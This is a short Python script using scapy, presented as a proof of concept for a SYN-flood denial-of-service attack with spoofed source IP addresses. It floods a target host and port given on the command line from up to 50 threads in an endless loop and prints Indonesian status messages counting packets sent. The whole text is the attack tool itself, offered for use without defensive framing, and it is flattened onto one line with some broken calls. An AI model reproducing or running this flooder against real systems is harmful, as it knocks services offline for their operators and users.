#!/usr/bin/env python # y3dips POC for syndos with ipspoof netsec @unas from scapy.all import * import sys, threading, string, random if len(sys.argv) != 3: print "Usage: %s " % sys.argv[0] sys.exit(1) target = sys.argv[1] port = string._int(sys.argv[2]) thread_limit = 50 x = 0 a = random.randint(1,254) class floodsyn(threading.Thread): def __init__(self): threading.Thread.__init__(self) def run(self): ip =IP(src = "%i.%i.%i.%i" % (a,a,a,a),dst = target) tcp = TCP(sport=random.randint(1,65535),dport=port,flags='S') send(ip/tcp, verbose=0) print "Melakukan Flooding %s di port %i dengan paket SYN." % (target, port) while 1: if threading.activeCount() < thread_limit: floodsyn().start() x += 1 sys.stdout.write("\rJumlah Paket Terkirim:\t\t%i" %x)